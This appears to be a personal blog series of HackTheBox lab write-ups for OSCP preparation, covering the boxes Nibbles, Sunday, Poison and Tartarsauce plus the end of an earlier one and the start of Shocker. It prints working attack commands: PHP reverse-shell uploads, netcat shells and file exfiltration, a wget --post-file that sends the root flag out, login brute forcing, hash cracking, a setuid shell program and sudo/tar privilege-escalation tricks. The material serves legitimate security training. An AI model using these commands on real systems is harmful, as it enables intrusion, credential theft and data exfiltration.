Yeah I think we are in the right place here! It looks like the “bug” was fixed in v1.76. Let’s see if we can find out the version installed. There is a changelog file, the latest entry is, v1.76.10.

So it looks like exploits aren’t the same way. Let’s see if there is password leakage anywhere.

Looking at the application, there is another config file stored in:


If we read the config file we get a whole heap of info. But what we really need is this part:

The protocol is RDP on port 3389. However port 3389 isn’t open as we found out on our nmap scan earlier, so that’s a no go.

This password also looks a lot like a hash. It’s not base64 as it has a “/” in it. A quick google of getting password from the mRemoteNG brings up a bunch of results. This was most useful:

We can create a External Tool within the program which does:

/k echo %password%

This will then decrypt and print out the password in plain text. After wondering how I could do this from just an ssh shell, I realised that it wasn’t really an option. So instead, lets download the program and see if we can get that config file out to our local Windows VM.

I went and downloaded and installed the program from the offical github:

After installing the program, I went about exfilling the data. I tried to copy & paste from a type. However all the spacing was wrong and was just a terrible idea all round. It then took me a while to think of what to do. If this was linux, i’d do a SimpleHTTPServer, but no good. Then I remembered how I got the data out originally, the SMB share. Obviously! Once I realised, I felt like a right wally, anyway!

So first off I used copy:

copy confCons.xml C:\Backups

Then I went back and used smbclient

smbclient // -U anonymous

get confCons.xml

Then to leave as few spoliers as possible, I went back to my ssh sessions:

del C:\Backups\confCons.xml

Always try to tidy up after yourself, otherwise you are ruining it for other users! Especially as the SMB is at the start of the box!

On my VM I copy the file into the same place APPDATA/Roaming/mRemoteNG

Open up the software

Both users are there. We know from the config the DC uses administrator so this is the one we are interested in.

First though, we need to create the external tool. In MRemoteNG go to “Tools” -> “External Tools”

Click New and fill in the details:

Going back to our connections, lets try the L4mpje-PC user and see if that password matches the one we got earlier:

It does, brilliant. So we know the theory here works! Let’s get the admin password!

Lets try to ssh in with those creds. Success!

Heading over to Desktop, we see the root flag there!

And there is the root flag!

I really enjoyed this box, it used skills that I had but going through the process and writing it up really helped me embed that knowledge. Getting the user password was really interesting and totally real life which I enjoyed, I can see that being used on tests in the future.

The root was also good, nice to not rely on an exploit but dig deep and enumerate until you find each of the interesting parts!

HTB – Nibbles

Here we go, another box in prep for OSCP!

We are going to do Nibbles. I have previously got user on this box but I don’t remember how; I never managed to get root previously. So let’s have a go!

nmap -Pn -oA nmap/initial -vv

We have 2 ports:

  • 22 – SSH
  • 80 – HTTP

Let’s get a full nmap running and go check out the webserver.

sudo nmap -Pn -p- -oA nmap/full -vv

The webserver has a simple page, it just states “Hello World”. Looking at the page source though, we get something a bit more exciting!

Shall we go and check out nibbleblog!

There is a basic website.

If we go to /admin/ we get a directory listing:

Before we look through all of those, let’s do a searchsploit and see if we get anything.

There is an arbitrary file upload. We like those! Let’s take a look at the code!

searchsploit -x 38489

It does a whole bunch of stuff but does ask for the username and password. Let’s spin up msfconsole and see if we get anything.

Creds are needed, so this is out for the moment!

Let’s get a gobuster running and see what else we have in here.

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

We get some early hits! Including:

  • content
  • themes
  • admin
  • plugins
  • languages

Let’s bounce through these while gobuster continues to run.

The README gives away the version which is v4.0.3 released in 2014! I feel it’s going to be vulnerable to stuffs!

Having a look through the other folders there is some stuff.

Let’s run another gobuster to search for pages as well as directories:

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x .php,.html,.txt,.bak

We get some more hits! Including:

  • feed.php
  • sitemap.php
  • admin.php
  • index.php
  • install.php
  • update.php

Let’s go check some of those out!

Most are nothing interesting, but we find a goodun with admin.php

Login area!

Trying some defaults like admin/administrator with password; admin; nibble;Nibble;Nibbles;nibbles;nibbleblog;Nibbleblog

Eeek, half way through trying them:

That means trying any sort of bruteforcing is a waste of time!

I guess I gotta wait this out!

Enumeration is going to be the key here. Looking through all the files we have access to, to find the one we want!

Looking for a default username and password we don’t find much, looks like the user sets this on install!

This doesn’t help!

I’ve downloaded and grepped through all the files I can, without any luck.

Maybe it’s something simple. Other usernames? nibbleblog or nibble.

Let’s try those.

Urgh, blacklist protection is boring!

Let’s stick my list of usernames and passwords into Burp and see if we can slowly brute force this!

Changing the attack method to clusterbomb and upped the pause before retry to 15 seconds. Hopefully slow enough to keep going!

It was not. We kept getting blacklisted. So dull!

I think we need to prioritise what we try:

  • admin:nibbleblog
  • administrator:nibbleblog
  • admin:nibbles
  • administrator:nibbles
  • nibbleblog:nibbleblog
  • nibbleblog:password
  • admin:password
  • administrator:password

Let’s do these in that order, and see where we get to!

So we started and on the 3rd we got there!

The username was admin with the name of the box as the password.

That was convoluted and I remember it being a PITA the last time. I really thought both times it would be hidden in some javascript or something.

Never mind. We are now in!

If we remember earlier, we had a file upload available if we had creds!

So the exploit is in file upload under a image plugin. When we upload a file, it should appear here:

We just need to find the plugin and get uploading (ignoring any errors)

Finding the my image plugin in the plugins page and clicking it brings us to here:

Let’s get pentestmonkeys php reverse shell script and see if we can upload that!

We upload the file and get a whole heap of errors

Get a nc listener running on port 1234 (which we specified in the script)

and we visit the above URL.

We get a callback!

We upgrade to a bash shell using python

python -m 'import pty;pty.spawn("/bin/bash")'

Oooh, python isn’t installed. Let’s try with python3

It doesn’t work with python3, I thought it did.

Never mind, we can work with a restricted shell for the moment.

A quick search and we get the user flag! (That I previously got, so no huge air punches here!)

What you’ll also notice is there is an interesting file there. personal and a

Let’s take a look at the directory first.

A couple of directories deep we get a script called It contains:

bash -i

Running it brings back an error:

bash: cannot set terminal process group (1309): Inappropriate ioctl for device
bash: no job control in this shell

Doing it on my hostmachine, doesn’t do anything!

I recreated it on my kali machine and running it doesn’t do anything. Adding commands afterwards, doesn’t seem to do anything.


Let’s park that and go have a look at the zip file!

I used nc to move it across to my kali host.

nc -nvlp 9009 >

nc 9009 <

Unzipping the file, we then take a look at the script.

Interesting, it’s different, very different!

Let’s go through other main enumeration steps. First things first:

sudo -l



So we can sudo that file.

If we try that:

sudo /home/nibbler/personal/stuff/

So, we get a root shell and are able to read the root shell.

I’m a mix of all 4 emotions! I got a root shell and root flag, but slightly cross as I don’t think I should have been able to!

Now. I think someone else has been on this box and changed that monitor script.

Let’s do a reset of the box and see what those files contain after a fresh build!

The home directory has a zip file in it!

So we know we can do the sudo. A quick check confirms that’s true.

First we create the folder structure:

mkdir -p personal/stuff

This creates both directories at the same time.

Then create a file, I created mine in nano on my machine as vi is a vile thing!

What I’ve gone for it a reverse shell

nc 9009

Then copy that across using nc.

Set up a nc listener on port 9009 and run the script using sudo.

Didn’t work!

My next go would be to change the monitor script to be a single word.


This is the same theory as bash -i just less typing.

That time it worked! Excellent. Not sure why the nc command didn’t work but anyway. We got there!



HTB – Sunday

Wooo, here we go. Ready for another rollercoaster adventure on HTB from TjNull’s OSCP prep guide! 

It’s Sunday (it’s actually Thursday) so no-one is going to be confused!

Let’s go

sudo nmap -Pn -oA nmap/initial -vv

We have some abnormal ports open:

  • 79 – Finger
  • 111 – sunrpc

I think we need a more in depth nmap scan straight off the bat!

sudo nmap -sC -sV -O -p 79,111 -oA nmap/fuller -vv

We get some more detailed results out.

So this is a solaris box.

There is a built in linux command called finger which can give us some information.

finger -l root@

(Also, watch me take the high group and not make a bunch of finger(ing) jokes!)

So we gave the box a good hard finger(ing).  (Dammit!)

With that idea, we can make a little bruteforcer using finger. To loop through all users in the wfuzz names.txt file

cat /usr/share/wordlists/wfuzz/others/names.txt | while read line; do finger -l $line@; done

This loops through and prints the output on screen!

We have some success through our fingering.

This is pretty boring, as it’s printing out each line and taking fucking ages! It’s a big wordlist!

Why don’t we throw it into a file and leave it going in the background!

I’m sure there is a better username enumerator out there, but I like making small loops with bash. It comes in useful really often!

I had a quick google and pentestmonkey has a username enumerator.

Downloading that and running it with the command:

perl finger-user-enum-1.0/ -t -U /usr/share/wordlists/wfuzz/others/names.txt

After that runs for a while we get some results.

There is also a metasploit module which gives much cleaner output:

use auxiliary/scanner/finger/finger_users

I’ve set the wordlist to be rockyou-75 from SecLists as the username file wasn’t getting me very far.

A lot of prodding and different wordlists went into this.

A full nmap scan was also done, with no results.

However, after a while, we got some results.

So we now have some users, if we go back to our main finger command:

We get some results. These users have logged in previously and have main directories.

So now that we have users. What can we do?

I have literally no idea.

I realised earlier my full port nmap was done against the wrong IP, I did .78 rather than .76, so let’s re-run that as having rpcbind would indicate there might be something running on a high port.

Our nmap bought back a goodie, hidden high in the heights of port numbers!

Interesting, smserverd. A google search brings back very limited results again. Not sure this is our path!

(The all ports nmap scan is only 20% of the way through, so we might get some more ports! At least, I hope we get more ports, otherwise I am totally stuck!)

There is another port, 22022 is open!

Trying to connect we get an error for both Sunny and Sammy:

Unable to negotiate with port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

A quick google shows that this is an old key exchange algorithm so we need to force ssh to use one of those. We can do that with:

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@ -p 22022

We get prompted for a password. Shit, we haven’t found a password yet.

We try some basics, so sunny & sammy as these are the information we have found. No dice.

My colleague yells over the office “try Sunday”.

He is a smart guy!

We use find to locate the flag

find / -name user.txt

It’s there!

A quick cat and we get: permission denied!

It’s in sammy and we are sunny. Bollocks!

Can we sudo across to sammy?

Sudo -l


WTF is that!

So we can run that, let’s give it a go:

sudo /root/troll

We get a result:

uid=0(root) gid=0(root)

Ok, not sure what’s that doing, it looks like it’s running the command ID though.

Let’s create a executable called ID in it with the single command sh.

This if triggered will give us a shell, at root level.

Once that file is created, we need to edit the paths, so that the command will go to ours first (assuming the script using “id” not the full path “/usr/gnu/bin/id”)

To do that we use the command:

export PATH=/export/home/sunny:/usr/gnu/bin:/usr/bin:/usr/X11/bin:/usr/sbin:/sbin

Then let’s run the troll file again.


Doing the same idea with cat and echo, just in case the script is using those. Same result!

Really, we need to know what the script is doing.

I tried to get 32 and 64 versions of pspy over and neither would run, so that’s out! It looks like watching processes on a Solarius box is quite tricky!

So, let’s leave this troll and see what else there is.

We had a look around and my boss ended up cheating a bit and looking up some spoilers.

Under / there is a folder that isn’t normally there.

That’s right, at the top, backup.

In there is a shadow.backup file with sammy and sunny’s hashes in them!

sunny@sunday:/backup$ cat shadow.backup 

Let’s do some hashcatting. The hash starts with the $5$ which would indiciate the encryption method. I can’t seem to find much for $5$ especially for hashcat or decrypting this.

I am once again. Stuck!

A quick bit of reading let me know not to bother using hashcat but instead to use john. The syntax is far too simple, not sure how it works.

john hashes.hash --wordlist=/usr/share/wordlists/rockyou.txt

john is obviously the cracker johntheripper. I’m amazed I didn’t have to tell it anymore details or flags. It just did it!

That’s a useful super easy command to remember for if I come across shadow files again!

And with that: user!


Ok, now let’s see what we can do with sammy!

Again, we take a look at sudo and this time we get:

sunny@sunday:/backup$ sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget

So we can wget a file!

A google of wget priv esc shows a method that can be used. This allows files to be “posted” used wget.

The syntax for this is:

sudo /usr/bin/wget --post-file=/root/root.txt

This will post the contents of the file to our listener, so we set one up to save it into a file

nc -nvlp 9009 > root.txt

The request comes in and we cat the file.

Success, we have a root flag!

That was a very easy priv esc and another great trick to know how to do!

However the initial shell and finding a file in the main / directory were a huge pain!

So in summary

HTB – Posion

Let us continue on our merry HTB retired box journey! This time we are going to look at Poison!

As always, start with an initial nmap scan:

sudo nmap -Pn -oA nmap/initial -vv

We have 2 ports open:

  • 22 – SSH
  • 80 – HTTP

Let’s go have a look at the webserver and we will run a fuller scan while we do that

sudo nmap -p- -oA nmap/allports -vv

The webserver give us something very interesting! It’s a way to test local .php scripts!

The info, gives us the system info back:

FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE #0 r321309: Fri Jul 21 02:08:28 UTC 2017 amd64

Listfiles give us a list of files. One of theses isn’t like the other!

Heading over to pwdbackup.txt we get some base64!

It’s encoded at least 13 times. Is that going to be a rot13 then base64. Or base64 then rot13? Or base64 13 times?

Before we dive down there, can we do some directory traversal on the file input? Let’s try and read /etc/passwd

We can! We have some users, one of which is charix!

So we have a passwd back up file and a username. How are we going to put these together.

A quick play with cyberchef for a few options on the password we get:

That is 13 base64 decodes! It looks like a password.

The only other port we have open is SSH, so shall we try that?

Bingo! User flag!

A password containing the username and a keyboard walk, what madness is that! I guess it might help if you didn’t work out the file traversal?

Ok, let’s have a look around! In the home directory is a zip file called “” This is owned by root but with charix as the group.

Let’s unzip that and see what we have!

Hmm it needs a passphrase !

Let’s re-try the ssh password.

unzip -p Charix!2#4%6&8(0

We get a “2: Event not found.”

Trying the password with ‘ and ” quotes gives the same response. However using a single word password we get

unzip: Failed to open 'password'


Let’s park that for the moment and get pspy across to see if there is anything else going on.

Hmmm, pspy doesn’t run with a:

ELF binary type "3" not known.
./pspy32s: Exec format error. Binary file not executable.

Maybe because this is freebsd rather than debian/ubuntu.

Let’s go back to this zip file. Copying it across to my local kali, we are going to try and bruteforce it!

To do this, let’s use nc. On my host box we set up a listener and to point anything that’s sent across into

nc -nvlp 9002 >

Then on the target we send the file across

nc 9002 <

We now have the zip file on our local box and can try to crack the password using fcrackzip.

A look at the help shows we need

fcrackzip -u -v -D -p '/usr/share/wordlists/rockyou.txt'

The flags mean:

  • -u use unzip
  • -D dictionary attack
  • -p use string as initial password
  • -v verbose

That appeared to fail.

I tried doing just an unzip on my kali box and I got prompted for the password. Entering the ssh password worked!

So I was on the right lines, it just couldn’t done in FreeBSD.

The zip file is unzipped. That’s great. Let’s read that bad boy!

Hmm, that’s a bit of a weird pattern!

A quick google and it looks like that encoding is very bizarre, so we might need to convert this UTF-8 to make it readable.

This is all looking a bit too complicated and potentially a red herring.

Let’s get LinEnum over and see what’s going on with the box!

Getting it over, it also doesn’t run.

Right, manual enumeration it is. What’s running as root?

ps aux | grep root

We get a fair few hits. A few look very interesting!

The xvnc viewer is what jumps out at me. I have no idea what it does so I’ve got the manpage.

Geometry is exactly that, the size of the desktop. The depth is the colour range. rfbwait is the maximum time to wait for a RFB client (vnc viewer)

I guess the question is can we view that screen, or take over that. I feel there is more of the command we are missing.

If we do a

ps -A

We get some more information

So the service is running on port 5901 and localhost.

Doing an nmap on that port from my kali box, shows it as closed.

However looking on the target we need to use a sockstat which lists all ports:

So there is port 5901 for xVNC being run by root.

If do some port forwarding, we might be able to get to that port.

So on our local box, if we do a local port forward of port 5901 to 5901 on the target box:

ssh -L 5901: charix@

We log in using the password.

Confirming the port forward by using netstat

netstat -antp | grep 5901

the flags used there are:

  • a  – show all
  • n – numeric ports
  • t – tcp
  • p – program (show the PID)

That shows there is a port forward. Is it to the right place? Hope so!

So we know it’s using vnc so if we try to connect to our localhost port 5901 with vnc do we get forwarded to the poison box?

We have vncconnect installed which would make sense. The usage is:

usage: vncconnect [-display Xvnc-display] host[:port]

So we need to look at the flags and work out what we need.

After a bit of googling it doesn’t look like we want vncconnect.

There is also vncviewer installed, that I missed first time. So let’s try logging onto that one!


This connects us to something and it asks for a password.

Same password 3 times? Let’s try.


What else have we seen? There was the secret zip. Maybe that weird output is the password.


Maybe the file name of secret? (i’ll try everything before having to try and work out how to decode that output!)

There is the abtility to give a password file. Maybe we can try that with the secret file?

vncviewer -passwd secret


So we needed to set up a port forward, then use the secret file to connect to that via VNC.

Another pretty complicated priv esc there that I would be very  surprised to see outside of a CTF!

Anyway, it’s now my favourite time!



HTB – Tartarsauce

Let’s get readyyyyy to hack a box! This time it’s going to be tartarsauce from the retired pool of HTB!

This is all still part of the OSCP prep and the last 2 days I’ve rooted 6 boxes and learnt loads from it! So hopefully, this can continue!

First up, nmap! A quick scan just to give us a bit of an overview so we can start looking at stuff while a more in depth nmap is running.

sudo nmap -Pn -oA nmap/initial -vv

We use the verbose flags so I can see all the requests nmap is making and get those answers slightly quicker! It might not make much of a difference on HTB but on a big infrastructure test or a wide range of IPs it can make a huge difference.

We have an open port:

  • 80 – HTTP

While we investigate that, we will get a full port scan running, just in case something is hiding up high!

The HTTP landing page is a nice ASCII art of a bottle of tartarsauce. Makes sense!

Let’s get gobuster on the case to see if there are any interesting directories!

No additional ports founds on the nmap. Let’s quickly do a UDP scan just for fun!

sudo nmap -sU -p- -oA nmap/UDP -vv

While that runs, we have a robots.txt file found by gobuster.

So this tells us there is a folder called /webservices/

If we visit that we get a Forbidden error.

Going to each of the URLs give us 404 not found errors, apart from 1.

We have monstra v3.0.4. I know nothing about this so a quick google brings up their website:

It is a content management system (CMS).

Doing some manual enumeration all the buttons at the top go to a 404. However, when clicking logged in, we get to the admin login page:


A quick searchsploit brings back results

The remote code execution looks interesting, however we need to be authenticated for that.

The XSS and CSRF aren’t that useful here, as we don’t have users on the box that we can exploit.

Looking at the install instructions there are a few default directories, going through those we get a forbidden for all of them, apart from sitemap.xml


Let’s go look at each of these and see what we get. The users one looks the most exciting, but i’ll start at the top!

Unfortunately all of those bring back a 404 not found error.

Back on the login page, there is a forgotten password option. Entering in a rubbish name and no captcha we get:

If we put in a more likely username such as admin

So we have username enumeration.

I’m going to guess we are going to use the username “admin”. I should do more username enumeration but I don’t know if it’s needed.

While I carry on looking at the github as the CMS is opensource, to find any weaknesses, I am going to throw the login page over to Intruder and see if we can brute force our way in!

Before doing that, to get a general error message I tried admin:admin.

Oh, that’s not an error message! We are in!

A quick look around, and there is 1 user called admin! I got very lucky on my guessing username enumeration. Sometimes the basics are the best!

Looking round there is a way to upload a plugin. We might come back to this later!

So we are now authenticated. We can use that exploit we found in our searchsploit earlier!

The exploit is basically the fact we can upload php pages via the Content – Files option.

We can use pentestmonkeys reverse shell php script.

Extract it using tar:

tar xvzf php-reverse-shell-1.0.tar.gz

Then we need to change the IP and Port for the connection back. Save the file and let’s see if we can upload it.

Start a netcat listener:

nc -nvlp 9002

We get a forbidden file type when trying to upload the reverse shell script. However, the exploit did mention we need PHP in capitals, so let’s try that!

Again not uploaded! The max file size is 2mb. Our file is 5.4K so well below that! Not sure.

Instead let’s go with the PoC in the exploit:

So we create a file with that php in it and name it “yekki.PHP”

Again, file not uploaded. No more details!

I have no idea why this isn’t uploaded. I’ve tried creating a new Directory, no dice.

I am really confused here. This should work!

The exploit is so straightforward that there isn’t anything I’ve done here to not make it work.

Let’s go back to our enumeration, have we missed anything?

Running another gobuster for directories rather than extensions within the /webservices/ directory we get a hit almost straight away:

There is a wordpress server on there! Let’s go take a look!

It’s urm, basic!

Let’s see if there is an admin page. wp-admin gives a big redirect to a page that isn’t found!

If we see that it looks like it’s trying to get us to wp-login.php rather than wp-admin

Let’s get WP-Scan to see what we have on this bad boy! I’ve not used it before, so a quick look at the help and we get:

wpscan --url -v

The scan has found a few directories:

  • xmlrpc.php
  • readme.html
  • wp-cron.php

We also know the version if 4.9.4 and there are 14 vulnerabilities available for this version.

The readme.html is the standard wordpress readme file, nothing exciting there.

xmlrpc.php brings back:

XML-RPC server accepts POST requests only.

And wp-cron.php doesn’t seem to do anything. Putting that through burp we see the request and an empty response.

So xmlrpc looks most interesting. A quick google finds an interesting article.

We start off making a POST request to get the methods.

We get loads of options. The one that sticks out for me, is “wp.getUsers”

Unfortunately when we send that we get “Insufficint arguments passed to this XM-RPC method”.

A quick google finds we need 4 parameters:

  • int blog_id
  • string username
  • string password
  • int user_id

Adding these in and we get “Incorrect username and password”. Now we don’t have a username or a password so far.

We can’t even get a username off any of the blogs, as they don’t exist!

The same trick of forgotten password doesn’t appear to work here!

The entire log-in page has an odd redirect to include the IP address again. This is really strange behavior and I don’t think we will ever be able to log in!

WPScan does have an enumerate user flag:

wpscan --url --enumerate u

But nope. No users found!

Looking at searchsploit there is just so much! With wordpress being the most popular CMS there are bound to be!

However, it does look like there might be a metasploit module for “WordPress 5.0.0 – Crop-image Shell Upload (Metasploit)”

Let’s see if we can do anything with that.

A quick look at the metasploit module and we need credentials for this which we don’t have!

I think it’s time to try brute forcing some creds.

Going back to the wp.getUser POST requests to XMLrpc, we can send that to repeater and try to fuzz the username and password fields!

So changing the intuder attack type to be Clusterbomb. From the Burp guide it tells us that:

The cluster bomb attack type enumerates over multiple parameters by using all the possible combinations of payloads from the multiple wordlists.

So if you have multiple parameters, it will enumerate over one of the parameters with all the payloads from its respective wordlist, while the other parameters have the first payload from their respective wordlists loaded.

So it will go through both wordlists. Let’s get that running!

For this we will use the wfuzz names.txt wordlist for the users and wfuzz common_pass.txt for the passwords.

We add in our match on “Incorrect username or password.”

And run…

This is going to take some time!

Slightly odd results coming up!

I get this for every 5th request. Some sort of fail2ban type thing maybe?

I don’t feel I’ve got the most out of WPScan quite yet. Let’s take a look at what flags we have.

The -e flag is for enumerate. We tried users, but we can do more than that

  • p – plugins
  • t – themes
  • cb – config backups

I would have thought it did these as the basic scan, but let’s do it anyway

wpscan --url -e p,t,cb -v

We got slightly more information than before. There are 3 potential themes:

These are all basic themes though. I’m pretty sure I use 2017!

Oddly it still said no plugins. But it only scanned for the most popular.

If we did a flag with ap it should do all plugins.

wpscan --url -e ap -v

No plugins Found. So there are just the 14 vulnerabilities, none of which seem useful!

** Lookup Alert**

At this point, I felt I’d enumerated all I could, WPScan was giving nothing. Although there is wp-contents so maybe some additional stuff, I couldn’t find it at all.

So I looked at a guide.

0xdf always does good write ups, so I went to theirs.

And I quote:

wpscan is a good tool to enumerate WordPress sites. I’ll use --enumerate p,t,u option to enumerate plugins, themes, and users.

The command used was:

wpscan -u --enumerate p,t,u | tee wpscan.log

I’d say, that looks pretty familiar!

Copy and pasting that exact command. We get:

So that’s annoying!

I guess maybe it’s an updated WPScan as I’m using v3.6.0 whereas 0xdf had v2.9.3

So there is an extra flag we can try which is an aggressive method for plugin scans:

wpscan --url --enumerate ap --plugins-detection aggressive

I think this instead of looking at just the most popular, it looks at all plugins ever. It is looking at 82,373 plugins and will take ~30 mins to run!

30 minutes later…

Heading over to the readme, we see the changelog and though it is out of date, it isn’t v 2.3.10. It’s actually v1.5.3, this is sneaky!

Looking at searchsploit we have an exploit for remote file inclusion!

Looking at the file, we need to create a php reverse shell script called wp-load.php and access it via:


So we will get pentestmonkeys php reverse shell script we got earlier and stick it on a webserver

python -m SimpleHTTPServer 9001

Start a nc listener and go to


It failed, we got a 404 on our webserver, as it appended the wp-load.php itself.

After we removed that, we got a hit!

And we got a shell, as www-data.

The user on the box is called onuma and we don’t have permission to their home directory yet. So we need to priv esc before getting the user flag!

A quick look of my new favourite go to sudo -l

We can do a tar!

A quick google of tar privilege escalation brings us to GTFOBins which is generally really ace.

We go for the first option including the sudo we need:

sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

It works!

So that was a really difficult initial entry point! After that, easy googling the rest of the way!

Now, let’s go after a root flag!

First as always, let’s get LinEnum over and see what we have!

The box is Ubuntu 16.04.4 xenial.

The user onuma is part of the cdrom, drip & plugdev groups, so we will keep an eye on those.

We have a potentially interesting SUID file:

-rwSr--r-T 1 root root 150667 Mar 9 2018 /var/www/html/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ȜӎŗgͷͼȜ_5h377

That SUID seems odd, however that exploit was already used. Do we think it could be the same? Maybe…

Before we jump into that, let’s get pspy64s over to see if there is anything funky running.

The version of the box is 32, so our 64 just errored out straight away. I downloaded the 32 bit version from github

Moving that across with python webserver and wget.

Then run in.

Nothing seems to be running on a regular script. Although there is a funky cleanup script:

So if we go and look at that script.

So we can read and execute that file, even though it’s owned by root.

Let’s give it a read and see what it does.

# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P

# Set Vars Here
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)

# formatting
for n in $(seq 72);
do /usr/bin/printf $"-";

# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
/usr/bin/diff -r $basedir $check$basedir

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
# Report errors so the dev can investigate the issue.
/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
integrity_chk >> $errormsg
exit 2
# Clean up and save archive to the bkpdir.
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0

Basically, what it does is takes a back up of the basedirectory of /var/www/html.
It then tar’s it as the onuma user and puts it into /var/tmp.
Then it untars it as root.

I managed to snag a copy before it gets deleted 30 seconds later and put it into tmp.

With that I could untar the file and I had the contents of /var/www/html.

Ideally what I need is to make the script someone tar the /root/ directory, however we can’t change the script as we don’t have write permissions.

The only thing I can think of is a symbolic link.

Heading into /var/www/html we try to add a symbolic link for /root/

We get permission denied on those. Which is expected!

Now why are we getting permission denied, is it for the root file, or because we are in /var/www/html which is owned by www-data?

Well I’m not sure, so I drop back down to www-data and try again

We can create the symbolic link! That’s awesome! (At least I think that’s the right way round!)

So now, we need to wait for the script to run and nab that file from /var/tmp.

We got a copy!

So we untar is and bam. Our link is there!

It’s still doing a symbolic link, so we still need to be root to read the file! Even though the file is owned by us!

Re-looking over the script, it doesn’t at any point change the owner or chmod at all, so i don’t think a symbolic link will work.

Although without that, I have no idea!

Back to google it is and we find some interesting information by PacketStorm!

What they are saying is we can overwrite files that get untarred as root. So let’s go back to the script, does any untarring happen?

/bin/tar -zxvf $tmpfile -C $check

It does! So we just need to find a few things out!

What we need to do, is create a passwd file in the file that is tarred and untarred, which is /var/www/html and a symlink to /etc/passwd.

In our passwd file, we add in a new user with root priviledges.

So we add in our new user:

We save that as passwd and create a symlink to /etc/passwd.

This then errors as the file already exists.

Right. Let’s go through the steps once more!

We start off by making a symlink to /etc/passwd


Next we tar that symlink.

We now have a tar file

Next we untar it with -tf (t = list contents ;f = files)

So we then remove the symlink from the folder, so we just have it in the tar file.

Renaming passwd2 (our malicious one) to passwd. We then add that to the tar file

tar -rf yekki.tar passwd

(r = append)

We list the contents:

We now have 2 passwd files! Brilliant!

Now hopefully when the script runs, it will overwrite the /etc/passwd with our one from the tar file.

We have done the stuff in the /var/www/html directory so it should get done in the next run of the script!

It didn’t work.

That might be because it couldn’t access the file as I created it as www-data not as osuma. But I can’t write anything to /var/www/html as osuma as it’s owned by www-data. Bugger!

Let’s try again, but this time with the sudoers file. Let’s try and make the sudo file just open for anyone to do anything!

Running through all the steps again, it didn’t seem to take.

Am I overcomplicating this? Is there a way to just get the symlink to be the root flag, then steal the copy when it’s made?

Let’s try that!

ln -s /root/root.txt root.txt

So we have a symlink to the root.txt flag.

We tar it the same as before.

tar -cvf root.tar root.txt

Now in that tar, we just have that file.

So now in the 30 seconds when the script runs, we need to get a copy from /var/temp!

I have 2 netcats open, so I can have pspy32s running in one to see when the script runs. Jump to the other and copy the tar file!

We will see if this works. Who knows! (hint: I don’t think it will)

We got a copy!

When we extract it, we have the root.tar file!

If we extract that tar file!

And it’s still a symbolic link which we don’t have permission to view!

I’ve looked around at all tar exploits I can find. I’m missing something but just can’t get it!

Watching ippsec’s video, we learn!

I think the intregity check is screwing us over. The check it failing because the compare between /var/tmp/var/www/html and /var/www/html are different as we have added files in. Therefore it’s not getting to the extract stage of the script. So we aren’t getting anything new!

So at this point, I’m just following along with ippsec’s video.

First up he creates a “simple setuid” which we will compile:

#include <stdio.h>



int main ( int argc, char *argv[] )



execve("/bin/sh", NULL, NULL);


We then compile that with

gcc -m32 -o uid setuid.c

We now have a setuid executable exploity thing.

Get that over to the box with python simple web server and wget.

Then we need to change the permissions to be a SUID:

chmod 6555 uid

Running it does indeed give us a sh shell as the current user owner.

So where we need to be is within /var/tmp as this is where the checks will be.

We want to make the /var/www/html folder structure that the check will be agaisnt

mkdir -p var/www/html

(-p creates all folders as listed above. It’s a neat trick I didn’t know)

We move our uid file into var/www/html (so the full path is /var/tmp/var/www/html/uid)

We then tar.gz that up

tar -zcvf yekki.tar.gz var/

So what we need to do, is then when there is the 30 seconds waiting time and random named file in /var/tmp get’s created. We need to add our tar file into that. As it has done the check part at this point, so won’t error out.

It will then extract the file as root into a folder called check and our binary will be extracted by root.

The only thing is, last time, we made the var/www/html files by the user onuma. So the uid file was owned by onuma. When all that went through, we still could only get to that user.

So we need to do all those steps on our kali box as root. So it has root permissions. Then transfer is over, then slide the tar.gz (that we made in our kali) into the temp random named tar file.

Complicated? Overly I’d say!

So on our kali box, we do

mkdir -p var/www/html

chmod 6555 uid

mv uid var/www/html

tar -zcvf yekki.tar.gz var/

Then we have a tar file, owned by root, with the uid being owned by root but executable by everyone.

We move this across to the box, and wait for the next run!

As soon as we see the first part of the run going, we do

cp yekki.tar.gz <random file name>

I’m sure there is a script you could right to look for new files and copy it once that happens. I’m not that smart sadly!

So we saw there was a nice file created. We quickly copy our tar into it.

There is then a folder called check, as the comparison found no differences (before we copied the file in)

I now have 5 minutes to do my stuff, before the file gets removed as cleanup at the start of the script.

There is then a uid that is owned by root but executable by all!

Execute that and….

There is a root shell and a root flag!

So this box! Needed help along the way. WPScan rotating it’s popular scripts is interesting and a trick I didn’t know before but will totally use in the future!

As for that root flag, I would never have got that without a walkthrough. I fully understand it now and that was a great learning opportunity, but wow. I hope the OSCP priv esc is easier than that!

Anyway, we are missing 1 step!

Root dance!

HTB- Shocker

Here we are, another box from the OSCP prep list by TJNull. 

This box is Shocker and we are going to start by running a quick nmap.

sudo nmap -Pn -vv

We have 2 open ports:

  • 80 – HTTP
  • 2222 – Unknown

Let’s run a more involved nmap scan:

